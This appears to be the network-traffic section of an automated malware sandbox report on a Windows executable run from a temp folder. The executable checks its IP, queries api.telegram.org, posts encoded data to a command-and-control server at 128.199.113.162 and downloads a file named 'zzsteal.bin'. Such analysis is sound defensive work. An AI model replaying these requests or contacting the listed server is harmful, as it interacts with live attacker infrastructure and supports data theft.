Jan 11, 2025 08:42:04.628034115 CET	80	49742	128.199.113.162	192.168.2.5
Jan 11, 2025 08:42:04.628144026 CET	80	49742	128.199.113.162	192.168.2.5
Jan 11, 2025 08:42:04.628177881 CET	80	49742	128.199.113.162	192.168.2.5
Jan 11, 2025 08:42:04.628194094 CET	80	49742	128.199.113.162	192.168.2.5
Jan 11, 2025 08:42:04.628215075 CET	80	49742	128.199.113.162	192.168.2.5
Jan 11, 2025 08:42:04.628226042 CET	80	49742	128.199.113.162	192.168.2.5
Jan 11, 2025 08:42:04.628237009 CET	80	49742	128.199.113.162	192.168.2.5
Jan 11, 2025 08:42:04.628257036 CET	80	49742	128.199.113.162	192.168.2.5
Jan 11, 2025 08:42:04.628268003 CET	80	49742	128.199.113.162	192.168.2.5
Jan 11, 2025 08:42:04.628330946 CET	80	49742	128.199.113.162	192.168.2.5
Jan 11, 2025 08:42:04.628343105 CET	80	49742	128.199.113.162	192.168.2.5
Jan 11, 2025 08:42:04.628355980 CET	80	49742	128.199.113.162	192.168.2.5
Jan 11, 2025 08:42:04.933046103 CET	80	49742	128.199.113.162	192.168.2.5
Jan 11, 2025 08:42:05.050374031 CET	49742	80	192.168.2.5	128.199.113.162
Jan 11, 2025 08:42:05.083363056 CET	49713	443	192.168.2.5	142.250.186.132
Jan 11, 2025 08:42:05.083389997 CET	443	49713	142.250.186.132	192.168.2.5
Jan 11, 2025 08:42:06.108081102 CET	80	49742	128.199.113.162	192.168.2.5
Jan 11, 2025 08:42:06.216289043 CET	49742	80	192.168.2.5	128.199.113.162
Jan 11, 2025 08:42:08.279947042 CET	49742	80	192.168.2.5	128.199.113.162
Jan 11, 2025 08:42:25.308868885 CET	64913	53	192.168.2.5	162.159.36.2
Jan 11, 2025 08:42:25.314542055 CET	53	64913	162.159.36.2	192.168.2.5
Jan 11, 2025 08:42:25.314639091 CET	64913	53	192.168.2.5	162.159.36.2
Jan 11, 2025 08:42:25.319942951 CET	53	64913	162.159.36.2	192.168.2.5
Jan 11, 2025 08:42:25.773910999 CET	64913	53	192.168.2.5	162.159.36.2
Jan 11, 2025 08:42:25.779633045 CET	53	64913	162.159.36.2	192.168.2.5
Jan 11, 2025 08:42:25.779736042 CET	64913	53	192.168.2.5	162.159.36.2
Jan 11, 2025 08:42:49.660295963 CET	59190	53	192.168.2.5	1.1.1.1
Jan 11, 2025 08:42:49.665071011 CET	53	59190	1.1.1.1	192.168.2.5
Jan 11, 2025 08:42:49.665163040 CET	59190	53	192.168.2.5	1.1.1.1
Jan 11, 2025 08:42:49.665221930 CET	59190	53	192.168.2.5	1.1.1.1
Jan 11, 2025 08:42:49.669969082 CET	53	59190	1.1.1.1	192.168.2.5
Jan 11, 2025 08:42:50.134071112 CET	53	59190	1.1.1.1	192.168.2.5
Jan 11, 2025 08:42:50.134377956 CET	59190	53	192.168.2.5	1.1.1.1
Jan 11, 2025 08:42:50.139591932 CET	53	59190	1.1.1.1	192.168.2.5
Jan 11, 2025 08:42:50.139650106 CET	59190	53	192.168.2.5	1.1.1.1
Jan 11, 2025 08:42:53.333738089 CET	59192	443	192.168.2.5	142.250.186.132
Jan 11, 2025 08:42:53.333789110 CET	443	59192	142.250.186.132	192.168.2.5
Jan 11, 2025 08:42:53.333905935 CET	59192	443	192.168.2.5	142.250.186.132
Jan 11, 2025 08:42:53.334135056 CET	59192	443	192.168.2.5	142.250.186.132
Jan 11, 2025 08:42:53.334152937 CET	443	59192	142.250.186.132	192.168.2.5
Jan 11, 2025 08:42:53.981395960 CET	443	59192	142.250.186.132	192.168.2.5
Jan 11, 2025 08:42:53.981714964 CET	59192	443	192.168.2.5	142.250.186.132
Jan 11, 2025 08:42:53.981740952 CET	443	59192	142.250.186.132	192.168.2.5
Jan 11, 2025 08:42:53.982068062 CET	443	59192	142.250.186.132	192.168.2.5
Jan 11, 2025 08:42:53.982417107 CET	59192	443	192.168.2.5	142.250.186.132
Jan 11, 2025 08:42:53.982480049 CET	443	59192	142.250.186.132	192.168.2.5
Jan 11, 2025 08:42:54.034553051 CET	59192	443	192.168.2.5	142.250.186.132
Jan 11, 2025 08:43:03.883486986 CET	443	59192	142.250.186.132	192.168.2.5
Jan 11, 2025 08:43:03.883548975 CET	443	59192	142.250.186.132	192.168.2.5
Jan 11, 2025 08:43:03.883601904 CET	59192	443	192.168.2.5	142.250.186.132
Jan 11, 2025 08:43:04.900835991 CET	59192	443	192.168.2.5	142.250.186.132
Jan 11, 2025 08:43:04.900919914 CET	443	59192	142.250.186.132	192.168.2.5

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 08:41:49.085433960 CET	53	58057	1.1.1.1	192.168.2.5
Jan 11, 2025 08:41:49.226284027 CET	53	53998	1.1.1.1	192.168.2.5
Jan 11, 2025 08:41:50.653440952 CET	53	60621	1.1.1.1	192.168.2.5
Jan 11, 2025 08:41:52.786456108 CET	63837	53	192.168.2.5	1.1.1.1
Jan 11, 2025 08:41:52.794106960 CET	53	63837	1.1.1.1	192.168.2.5
Jan 11, 2025 08:41:52.818430901 CET	61793	53	192.168.2.5	1.1.1.1
Jan 11, 2025 08:41:52.825342894 CET	53	61793	1.1.1.1	192.168.2.5
Jan 11, 2025 08:41:53.279361010 CET	64822	53	192.168.2.5	1.1.1.1
Jan 11, 2025 08:41:53.279489994 CET	59578	53	192.168.2.5	1.1.1.1
Jan 11, 2025 08:41:53.286088943 CET	53	64822	1.1.1.1	192.168.2.5
Jan 11, 2025 08:41:53.286540985 CET	53	59578	1.1.1.1	192.168.2.5
Jan 11, 2025 08:41:53.388488054 CET	61508	53	192.168.2.5	1.1.1.1
Jan 11, 2025 08:41:53.395541906 CET	53	61508	1.1.1.1	192.168.2.5
Jan 11, 2025 08:42:01.499649048 CET	58352	53	192.168.2.5	1.1.1.1
Jan 11, 2025 08:42:01.506675959 CET	53	58352	1.1.1.1	192.168.2.5
Jan 11, 2025 08:42:07.771081924 CET	53	57897	1.1.1.1	192.168.2.5
Jan 11, 2025 08:42:22.832190037 CET	55880	53	192.168.2.5	1.1.1.1
Jan 11, 2025 08:42:22.839024067 CET	53	55880	1.1.1.1	192.168.2.5
Jan 11, 2025 08:42:25.308253050 CET	53	59895	162.159.36.2	192.168.2.5
Jan 11, 2025 08:42:25.824970961 CET	53	64561	1.1.1.1	192.168.2.5
Jan 11, 2025 08:42:26.651856899 CET	53	63155	1.1.1.1	192.168.2.5
Jan 11, 2025 08:42:41.774322987 CET	59481	53	192.168.2.5	1.1.1.1
Jan 11, 2025 08:42:42.309350967 CET	53	59481	1.1.1.1	192.168.2.5
Jan 11, 2025 08:42:48.590811014 CET	53	51663	1.1.1.1	192.168.2.5
Jan 11, 2025 08:42:49.659827948 CET	53	60064	1.1.1.1	192.168.2.5
Jan 11, 2025 08:42:49.719569921 CET	53	52094	1.1.1.1	192.168.2.5
Jan 11, 2025 08:43:19.825090885 CET	53	58793	1.1.1.1	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 11, 2025 08:41:52.786456108 CET	192.168.2.5	1.1.1.1	0xcd21	Standard query (0)	246.229.1.0.in-addr.arpa	PTR (Pointer record)	IN (0x0001)	false
Jan 11, 2025 08:41:52.818430901 CET	192.168.2.5	1.1.1.1	0x9dfd	Standard query (0)	icanhazip.com	A (IP address)	IN (0x0001)	false
Jan 11, 2025 08:41:53.279361010 CET	192.168.2.5	1.1.1.1	0x5807	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Jan 11, 2025 08:41:53.279489994 CET	192.168.2.5	1.1.1.1	0x79f6	Standard query (0)	www.google.com	65	IN (0x0001)	false
Jan 11, 2025 08:41:53.388488054 CET	192.168.2.5	1.1.1.1	0xc4f5	Standard query (0)	api.mylnikov.org	A (IP address)	IN (0x0001)	false
Jan 11, 2025 08:42:01.499649048 CET	192.168.2.5	1.1.1.1	0x70d2	Standard query (0)	api.telegram.org	A (IP address)	IN (0x0001)	false
Jan 11, 2025 08:42:22.832190037 CET	192.168.2.5	1.1.1.1	0x9148	Standard query (0)	api.telegram.org	A (IP address)	IN (0x0001)	false
Jan 11, 2025 08:42:41.774322987 CET	192.168.2.5	1.1.1.1	0x6f2a	Standard query (0)	api.telegram.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 11, 2025 08:41:52.794106960 CET	1.1.1.1	192.168.2.5	0xcd21	Name error (3)	246.229.1.0.in-addr.arpa	none	none	PTR (Pointer record)	IN (0x0001)	false
Jan 11, 2025 08:41:52.825342894 CET	1.1.1.1	192.168.2.5	0x9dfd	No error (0)	icanhazip.com		104.16.185.241	A (IP address)	IN (0x0001)	false
Jan 11, 2025 08:41:52.825342894 CET	1.1.1.1	192.168.2.5	0x9dfd	No error (0)	icanhazip.com		104.16.184.241	A (IP address)	IN (0x0001)	false
Jan 11, 2025 08:41:53.286088943 CET	1.1.1.1	192.168.2.5	0x5807	No error (0)	www.google.com		142.250.186.132	A (IP address)	IN (0x0001)	false
Jan 11, 2025 08:41:53.286540985 CET	1.1.1.1	192.168.2.5	0x79f6	No error (0)	www.google.com			65	IN (0x0001)	false
Jan 11, 2025 08:41:53.395541906 CET	1.1.1.1	192.168.2.5	0xc4f5	No error (0)	api.mylnikov.org		104.21.44.66	A (IP address)	IN (0x0001)	false
Jan 11, 2025 08:41:53.395541906 CET	1.1.1.1	192.168.2.5	0xc4f5	No error (0)	api.mylnikov.org		172.67.196.114	A (IP address)	IN (0x0001)	false
Jan 11, 2025 08:42:01.506675959 CET	1.1.1.1	192.168.2.5	0x70d2	No error (0)	api.telegram.org		149.154.167.220	A (IP address)	IN (0x0001)	false
Jan 11, 2025 08:42:22.839024067 CET	1.1.1.1	192.168.2.5	0x9148	No error (0)	api.telegram.org		149.154.167.220	A (IP address)	IN (0x0001)	false
Jan 11, 2025 08:42:42.309350967 CET	1.1.1.1	192.168.2.5	0x6f2a	No error (0)	api.telegram.org		149.154.167.220	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

api.mylnikov.org

api.telegram.org

128.199.113.162

icanhazip.com

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49705	128.199.113.162	80	5268	C:\Users\user\AppData\Local\Temp\tmp1201676045.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 08:41:44.585546017 CET	678	OUT	POST /XtfcshEgt/upwawsfrg.php HTTP/1.1 Cookie: SESSION=Gcj+h98EbIpiEEEi3hoB0+vAL9nowD1t+Mk69sQz+82rTgB01+DlIetdQvoEbO+iMyqLYrt29vtIjLtyKN2duhsKwFI97DwnfBfo13W20KSQ9caE0kAuGXwreH771RqNHNmbRM0y60QLnmT9pMrp3c0FhSBQRDuNV3sGdF7mdCxarHDX8BCOX4OjVygMl1phDoC6SPlB/+sIqxLAaVDdnWVGAUGjhjZlTg3mPga+hlrXa27ZLNjP8Eifjk6AL3+28IVLfb5VXklN9NHBv5JehJAwTnVk9afSwGZfw29QgAjx82lWT7LbojoheSYe89Xc6F6nQyzWVdp8Qxn1XqPLROP8cDqCQMmfH9Eij5vei8oZIt8PoXrHiXoe Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla / 5.0(Windows NT 10.0; Win64; x64; rv: 108.0) Gecko / 20100101 Firefox / 108.0 Host: 128.199.113.162 Content-Length: 120671 Expect: 100-continue Connection: Keep-Alive
Jan 11, 2025 08:41:44.945995092 CET	12360	OUT	Data Raw: 4e 61 6d 65 3d 4d 50 47 76 6d 5a 70 49 26 64 61 74 61 46 69 6c 65 3d 76 45 6f 69 48 50 38 32 55 37 6c 43 4d 6d 4d 5a 25 32 66 53 4a 46 69 74 69 53 61 70 30 6b 4b 77 77 4d 31 4f 4e 52 6b 61 42 55 6d 71 48 65 61 7a 31 66 6d 36 76 56 61 38 74 71 44 Data Ascii: Name=MPGvmZpI&dataFile=vEoiHP82U7lCMmMZ%2fSJFitiSap0kKwwM1ONRkaBUmqHeaz1fm6vVa8tqDLM1VcGKEGGlPJhLxMQn48IgQpLX%2fxscwS9NomRgIwX1wSzjrOvAppv4jwN4D3T2kkyM4COyN%2fmyB4Zpgy5K1heytML5uJZZ030VBSmOVWlkNAP0bihcvgCMtgueQZPyFW9wxAU2HoiqM6UHqLUSywnSGA1QOE
Jan 11, 2025 08:41:44.951306105 CET	2472	OUT	Data Raw: 48 48 51 55 75 79 45 4c 51 6e 33 31 32 34 66 50 64 37 6a 4a 6b 61 71 73 55 52 69 59 7a 72 6c 59 74 68 48 61 4f 62 7a 44 70 4c 64 41 63 65 67 6c 51 42 68 49 59 6d 53 36 66 56 65 49 25 32 62 41 6d 6d 79 5a 5a 4f 62 63 64 71 32 37 6d 6d 70 52 50 55 Data Ascii: HHQUuyELQn3124fPd7jJkaqsURiYzrlYthHaObzDpLdAceglQBhIYmS6fVeI%2bAmmyZZObcdq27mmpRPU%2bHK7eOAcJXCCv93mP8s6nrcjhxe1W1Vl4go0MndDMmQacyhGAn1Ez4wyTW1eYKSTDbfVxF9Cf4PK9Enw4gkDSaqlldi5uUKkO542NUzkZolPgBZQnbFW%2fMIQO0Ll1zbAXv1eMxuXDOr8crEoxhivxavsQy2EE
Jan 11, 2025 08:41:44.951343060 CET	2472	OUT	Data Raw: 36 30 47 63 4e 48 62 6c 64 63 32 69 59 59 48 55 71 4d 44 30 39 61 68 53 34 44 52 53 36 41 6d 4f 67 4a 31 59 54 72 42 36 54 25 32 62 72 71 38 6a 25 32 62 48 41 62 59 43 56 47 6b 4c 71 69 52 51 39 35 51 6e 59 25 32 66 75 4e 33 25 32 66 77 34 35 36 Data Ascii: 60GcNHbldc2iYYHUqMD09ahS4DRS6AmOgJ1YTrB6T%2brq8j%2bHAbYCVGkLqiRQ95QnY%2fuN3%2fw456lbz17ql6gKFvDhKW6ozuX3Xy9NQVNcc5P1FkOrRVmruuNSTpQJIx1J3KgYxn%2bqmL%2fpK7vfnxbpu5PmyhUFekztOnbOGtXOdoVP6Wx4AMDr0vz2fyQePA1rrMKrjOwiTR2ly5QvXwZFmgBknVvg2u%2bZL9I9K
Jan 11, 2025 08:41:44.951363087 CET	2472	OUT	Data Raw: 77 4f 45 56 6b 69 55 58 6a 39 50 6d 30 79 63 61 66 65 39 48 30 39 67 56 56 71 25 32 62 38 6f 70 25 32 66 73 50 35 6e 4d 61 37 30 34 52 33 4f 53 79 61 65 77 66 6b 78 48 6d 61 4a 65 77 37 6b 41 25 32 66 39 41 62 76 38 6e 6e 36 33 41 30 4d 49 6d 37 Data Ascii: wOEVkiUXj9Pm0ycafe9H09gVVq%2b8op%2fsP5nMa704R3OSyaewfkxHmaJew7kA%2f9Abv8nn63A0MIm7s9ZQJHMRnDKjK2JuEr3%2b9OrQZjQnXkHTbCR2SJ9meSac6OpMzXB6XRM601QiaytvfXoxIfz4THMZFL6gJzSB2UccGYgBDHQeTW5lwerM4SLDyCJ%2fYNg10d2VRSaaAtCyopMf5jxpfbBLBL6CziJ%2f0VhpxHt
Jan 11, 2025 08:41:44.951436043 CET	4944	OUT	Data Raw: 72 62 4b 74 49 31 6b 63 31 70 52 6a 44 4b 74 6f 4b 7a 65 59 74 64 78 6c 52 75 38 25 32 62 63 34 68 50 6c 31 59 38 6f 77 46 6a 52 73 57 34 6b 64 42 32 6d 6d 57 44 43 66 6a 77 32 44 6e 64 4a 70 64 67 63 75 54 36 62 75 55 61 53 69 39 35 55 31 72 68 Data Ascii: rbKtI1kc1pRjDKtoKzeYtdxlRu8%2bc4hPl1Y8owFjRsW4kdB2mmWDCfjw2DndJpdgcuT6buUaSi95U1rhXnktHtPGkeIQ5HCjEJABEQdu9bQ0EDrRGo6zJBbp1wws00jWEZYAJyJptp%2bJH%2fjAypxA6RUMsDRkYW1VAwrCG7aohXllDLT6Jr26CLw45wHTTiciMj5Rr197BHT78PUA30i5BMB4JJtUdoHAgQAahm4ykjW4B
Jan 11, 2025 08:41:44.951503038 CET	4944	OUT	Data Raw: 25 32 66 64 4c 57 65 79 25 32 66 72 35 56 31 25 32 66 47 62 72 39 77 48 47 54 6b 74 54 36 71 69 33 4e 79 78 36 5a 65 5a 54 41 6c 66 74 25 32 66 6e 74 4b 57 67 52 7a 45 6b 38 6e 49 76 34 48 6c 69 6c 7a 73 38 43 5a 4a 6b 74 69 33 6f 68 6a 47 35 71 Data Ascii: %2fdLWey%2fr5V1%2fGbr9wHGTktT6qi3Nyx6ZeZTAlft%2fntKWgRzEk8nIv4Hlilzs8CZJkti3ohjG5q5gVZSYOFMWwdo4v1q%2bUUsdG6A2pxmpxSWC2EbvU0qJ1%2fR5xQVN71z1SCt58dzHCdVbIKsMW3OQyfMKyfkk%2b9490rsA3KjCUmAZ0Oj7hsZQlmuQ7nTAnxFhjAe0JQIoyn9ezsp0ZtlacFiEeJfUdrx7BKlbo
Jan 11, 2025 08:41:44.951549053 CET	4944	OUT	Data Raw: 4d 6d 7a 53 59 31 25 32 62 64 6a 74 6b 49 33 65 61 25 32 62 4c 47 69 43 74 72 37 35 4e 68 46 71 46 61 6f 47 32 6e 6e 39 55 53 30 43 69 49 4f 71 34 66 4d 32 7a 52 4f 34 34 52 58 79 78 38 59 43 7a 4e 67 44 56 47 4c 35 49 6c 45 57 42 37 6a 71 6f 72 Data Ascii: MmzSY1%2bdjtkI3ea%2bLGiCtr75NhFqFaoG2nn9US0CiIOq4fM2zRO44RXyx8YCzNgDVGL5IlEWB7jqork4dsj2oYsPw24dWn7ySW5U%2fyZIanD6nJQdCkW3uOQ673W6keb9pY3IIZrekEwe0ok%2fzMQucKHoqizGTcMmMsIPeGH3PbkbbNSFSEDkv28PFjQHRzyjsK%2fh%2bWjWLMRHIV82ID8vDJWnKauE%2fJZi0JX0S
Jan 11, 2025 08:41:44.951644897 CET	2472	OUT	Data Raw: 51 4e 4e 6f 65 72 62 44 59 37 30 46 4f 34 63 54 75 65 54 66 74 46 73 33 76 58 42 36 47 4a 64 67 42 68 6c 62 25 32 66 54 4e 5a 50 25 32 66 53 30 71 4d 77 4c 45 32 4b 44 51 78 68 4c 38 47 63 6e 30 6e 6b 51 53 4e 77 6a 42 74 63 42 4c 65 78 54 43 42 Data Ascii: QNNoerbDY70FO4cTueTftFs3vXB6GJdgBhlb%2fTNZP%2fS0qMwLE2KDQxhL8Gcn0nkQSNwjBtcBLexTCBngRlXy89X8cZiSTL9m0bjV5xgW94pmogiXjo8lWOjEwXw5R4v0CgpkDhZFButEo0SM1KannVafgm0lWcZHNwADHaDqPsxgGw7rWR7f5cUzSNKbxGLVj5%2blNh3mAXn3R74hMMU0ABOISrEB%2fvdur2Jk0tsCapF
Jan 11, 2025 08:41:44.956533909 CET	4944	OUT	Data Raw: 4d 35 42 58 31 32 76 7a 4a 6f 66 54 61 47 62 4e 64 79 42 4a 74 70 4f 25 32 66 45 54 52 36 64 50 33 48 39 46 38 6c 25 32 62 4f 56 67 63 45 33 37 33 6f 63 37 56 4a 75 33 6c 42 7a 6e 65 50 34 41 56 51 36 72 35 66 69 61 58 25 32 62 34 39 51 46 77 31 Data Ascii: M5BX12vzJofTaGbNdyBJtpO%2fETR6dP3H9F8l%2bOVgcE373oc7VJu3lBzneP4AVQ6r5fiaX%2b49QFw18qn3uhh9ra9L4e1ckj4UJ9AFf72F0%2baHc0Rc%2bLyUbeUNpR9kwBaSP9Vv8LbUNJK0sGtuQd1JOMizeXZUJE4dSBymHCJMZngGxhXKYqpeUJJxb17aaAxW%2fVatdpBsxm6Iy6sOpFCMcIBugJ2OzvQx8KFECUW
Jan 11, 2025 08:41:44.956757069 CET	4944	OUT	Data Raw: 39 55 76 4a 43 4e 75 55 7a 6f 59 66 36 6a 55 64 4a 6f 51 52 6d 72 42 75 38 51 4a 49 49 43 77 61 76 6f 4f 52 6d 38 51 39 77 57 75 34 74 34 36 75 46 6a 6c 45 6b 25 32 66 25 32 62 49 33 4f 62 69 61 49 5a 58 6c 74 33 62 25 32 66 67 58 69 70 74 42 62 Data Ascii: 9UvJCNuUzoYf6jUdJoQRmrBu8QJIICwavoORm8Q9wWu4t46uFjlEk%2f%2bI3ObiaIZXlt3b%2fgXiptBbhHc1WjOSMF6jPx2NfDZ8KcmByzV04ChsHai2q3H84Gpa%2f5ivfCb24Rj5t5Jd4fAGP8FDZ6tzZlaywfEgwuybUOTbkawoEDkntMTs7DklDSxIO4ivEtigKdhtwqMT%2b%2bgMrOAgrWrdrhqxdXHt9wnlg3gSmEi
Jan 11, 2025 08:41:45.476236105 CET	25	IN	HTTP/1.1 100 Continue
Jan 11, 2025 08:41:46.394768000 CET	207	IN	HTTP/1.1 200 OK Date: Sat, 11 Jan 2025 07:41:45 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 38 3d 3d 33 Data Ascii: 8==3
Jan 11, 2025 08:41:48.179501057 CET	563	OUT	GET /XtfcshEgt/upwawsfrg.php?zd=1 HTTP/1.1 Cookie: SESSION=Gcj+h98EbIpiEEEi3hoB0+vAL9nowD1t+Mk69sQz+82rTgB01+DlIetdQvoEbO+iMyqLYrt29vtIjLtyKN2duhsKwFI97DwnfBfo13W20KSQ9caE0kAuGXwreH771RqNHNmbRM0y60QLnmT9pMrp3c0FhSBQRDuNV3sGdF7mdCxarHDX8BCOX4OjVygMl1phDoC6SPlB/+sIqxLAaVDdnWVGAUGjhjZlTg3mPga+hlrXa27ZLNjP8Eifjk6AL3+28IVLfb5VXklN9NHBv5JehJAwTnVk9afSwGZfw29QgAjx82lWT7LbojoheSYe89Xc6F6nQyzWVdp8Qxn1XqPLROP8cDqCQMmfH9Eij5vei8oZIt8PoXrHiXoe User-Agent: Mozilla / 5.0(Windows NT 10.0; Win64; x64; rv: 108.0) Gecko / 20100101 Firefox / 108.0 Host: 128.199.113.162
Jan 11, 2025 08:41:48.714813948 CET	365	IN	HTTP/1.1 200 OK Date: Sat, 11 Jan 2025 07:41:48 GMT Server: Apache/2.4.41 (Ubuntu) Content-Description: File Transfer Content-Disposition: attachment; filename=zzsteal.bin Content-Transfer-Encoding: binary Expires: 0 Cache-Control: must-revalidate, post-check=0, pre-check=0 Pragma: public Content-Length: 329728 Content-Type: application/octet-stream

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49712	104.16.185.241	80	5268	C:\Users\user\AppData\Local\Temp\tmp1201676045.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 08:41:52.832747936 CET	63	OUT	GET / HTTP/1.1 Host: icanhazip.com Connection: Keep-Alive
Jan 11, 2025 08:41:53.283683062 CET	535	IN	HTTP/1.1 200 OK Date: Sat, 11 Jan 2025 07:41:53 GMT Content-Type: text/plain Content-Length: 13 Connection: keep-alive Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET Set-Cookie: __cf_bm=sKODi1Arhq0GUGirzpFeP6dAUxVfNihR0K.iuzIQj_4-1736581313-1.0.1.1-MenvoTVxRHeXwGo8fpyQOEwp6YZ6NHR0klRt7Udy.tqR6KkBnIUqQW4KknMY83tU4zfBz.3huiIJ2xY54LGbuQ; path=/; expires=Sat, 11-Jan-25 08:11:53 GMT; domain=.icanhazip.com; HttpOnly Server: cloudflare CF-RAY: 90034457b960729e-EWR alt-svc: h3=":443"; ma=86400 Data Raw: 38 2e 34 36 2e 31 32 33 2e 31 38 39 0a Data Ascii: 8.46.123.189

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49742	128.199.113.162	80	7696	C:\Users\user\AppData\Local\Temp\tmp1201676045.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 08:42:04.017558098 CET	678	OUT	POST /XtfcshEgt/upwawsfrg.php HTTP/1.1 Cookie: SESSION=Gcj+h98EbIpiEEEi3hoB0+vAL9nowD1t+Mk69sQz+82rTgB01+DlIetdQvoEbO+iMyqLYrt29vtIjLtyKN2duhsKwFI97DwnfBfo13W20KSQ9caE0kAuGXwreH771RqNHNmbRM0y60QLnmT9pMrp3c0FhSBQRDuNV3sGdF7mdCxarHDX8BCOX4OjVygMl1phDoC6SPlB/+sIqxLAaVDdnWVGAUGjhjZlTg3mPga+hlrXa27ZLNjP8Eifjk6AL3+28IVLfb5VXklN9NHBv5JehJAwTnVk9afSwGZfw29QgAjx82lWT7LbojoheSYe89Xc6F6nQyzWVdp8Qxn1XqPLROP8cDqCQMmfH9Eij5vei8oZIt8PoXrHiXoe Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla / 5.0(Windows NT 10.0; Win64; x64; rv: 108.0) Gecko / 20100101 Firefox / 108.0 Host: 128.199.113.162 Content-Length: 213199 Expect: 100-continue Connection: Keep-Alive
Jan 11, 2025 08:42:04.363389015 CET	12360	OUT	Data Raw: 4e 61 6d 65 3d 4d 50 47 76 6d 5a 70 49 26 64 61 74 61 46 69 6c 65 3d 76 45 6f 69 48 50 38 32 55 37 6c 43 4d 6d 4d 5a 25 32 66 53 4a 46 69 74 69 53 61 70 30 6b 4b 77 77 4d 31 4f 4e 52 6b 61 42 55 6d 71 48 65 61 7a 31 66 6d 36 76 56 61 38 74 71 44 Data Ascii: Name=MPGvmZpI&dataFile=vEoiHP82U7lCMmMZ%2fSJFitiSap0kKwwM1ONRkaBUmqHeaz1fm6vVa8tqDLM1VcGKEGGlPJhLxMQn48IgQpLX%2fxscwS9NomRgIwX1wSzjrOvAppv4jwN4D3T2kkyM4COyN%2fmyB4Zpgy5K1heytML5uJZZ030VBSmOVWlkNAP0bihcvgCMtgueQZPyFW9wxAU2HoiqM6UHqLUSywnSGA1QOE
Jan 11, 2025 08:42:04.368473053 CET	2472	OUT	Data Raw: 56 54 72 7a 5a 49 6a 74 44 78 63 25 32 66 61 77 4a 62 37 37 4e 7a 70 6d 6f 4e 56 6b 35 6c 62 4a 4b 41 38 75 61 44 56 74 4d 76 72 57 6c 48 6c 55 51 33 73 4f 7a 31 48 41 63 66 39 33 35 74 41 25 32 62 63 6a 69 7a 39 64 78 4f 49 48 31 41 45 66 64 65 Data Ascii: VTrzZIjtDxc%2fawJb77NzpmoNVk5lbJKA8uaDVtMvrWlHlUQ3sOz1HAcf935tA%2bcjiz9dxOIH1AEfdeu3edzg%2byl6LPtGvIAPdPmzXb1NWDH%2fWTitjq1yo9pCYi4LLmO3bIQfL0%2bNqzZflz0n2R%2ff0GXbQ3Uqy0YX6L9un1u7BEIgM2hZqDQK5P%2f9jiN%2bsTXqU%2fMVxdqPT7SucMKkd%2bMIH%2bYwsA%2f
Jan 11, 2025 08:42:04.368510962 CET	2472	OUT	Data Raw: 44 70 68 6f 71 32 44 47 73 48 32 57 7a 61 33 76 32 66 71 36 4b 33 47 43 4a 44 57 4c 41 6d 64 75 33 34 46 68 53 65 76 32 4f 5a 64 71 55 51 79 73 37 32 4f 6f 77 50 54 45 25 32 66 56 6f 55 46 57 66 51 69 62 63 4d 37 51 73 54 25 32 62 6c 41 67 78 31 Data Ascii: Dphoq2DGsH2Wza3v2fq6K3GCJDWLAmdu34FhSev2OZdqUQys72OowPTE%2fVoUFWfQibcM7QsT%2blAgx189rac2yOI%2btGHNGRLe1258vJ662YZHJIqfq01qqFQXUPN9fZnCFbU05wCi4thDeC3rao%2fKdQJ9sBymBKyogOrNVNRL%2f0vYEbihkTV4uRiC4U2FqOnFtUTAS6ge7Z4iSSG2cXw5e%2fJIugxqovLxTcyCBiT
Jan 11, 2025 08:42:04.368556976 CET	2472	OUT	Data Raw: 6b 77 43 6b 37 4a 47 54 52 34 4c 6e 45 52 50 44 63 43 63 32 45 6d 54 61 50 52 63 61 77 55 6d 35 38 64 41 68 36 59 73 61 64 4b 33 43 44 50 63 65 66 64 7a 64 72 5a 73 5a 64 31 5a 7a 79 5a 55 66 47 5a 6a 6a 70 6b 65 38 7a 45 37 79 6b 25 32 62 6e 79 Data Ascii: kwCk7JGTR4LnERPDcCc2EmTaPRcawUm58dAh6YsadK3CDPcefdzdrZsZd1ZzyZUfGZjjpke8zE7yk%2bny1qla8qXB%2fMymtSitv3kXMwb6WMzEbD7myEL8gpLZCLEh%2bq31g76A0RZ9%2fiol7Cm6pYPUpRuyV8Ndp%2bFcJDu2qyJlTrVbFTsKXrTagIBoUrSsXWcMzg2AaP0WZZPMxn5aaT2X0lLJ2w2IXkaORloUqrSsv
Jan 11, 2025 08:42:04.368590117 CET	7416	OUT	Data Raw: 4c 34 44 4f 4b 4d 52 5a 7a 79 4c 39 4c 72 65 50 66 56 59 36 54 6b 4f 7a 25 32 62 48 72 47 57 76 6c 57 6d 72 25 32 66 78 67 5a 69 34 47 7a 6a 61 59 30 52 56 75 36 56 63 55 43 33 45 6e 55 6f 4d 55 45 4a 4c 72 51 6f 42 39 4f 57 75 37 77 43 48 56 25 Data Ascii: L4DOKMRZzyL9LrePfVY6TkOz%2bHrGWvlWmr%2fxgZi4GzjaY0RVu6VcUC3EnUoMUEJLrQoB9OWu7wCHV%2bBV%2feGynBhUsKpZ4dBwZCPoQatA%2fj%2f2YCsbeWdm97e6%2bc0QJ4CuueYrPak0hY3H1B5k%2bIOGUDZKOTh%2fGulVmECxjM9LxFTAyg%2btpGku%2b5fukuztonFtTiUpkEBHTmQbDC3B102REG3JETBGI
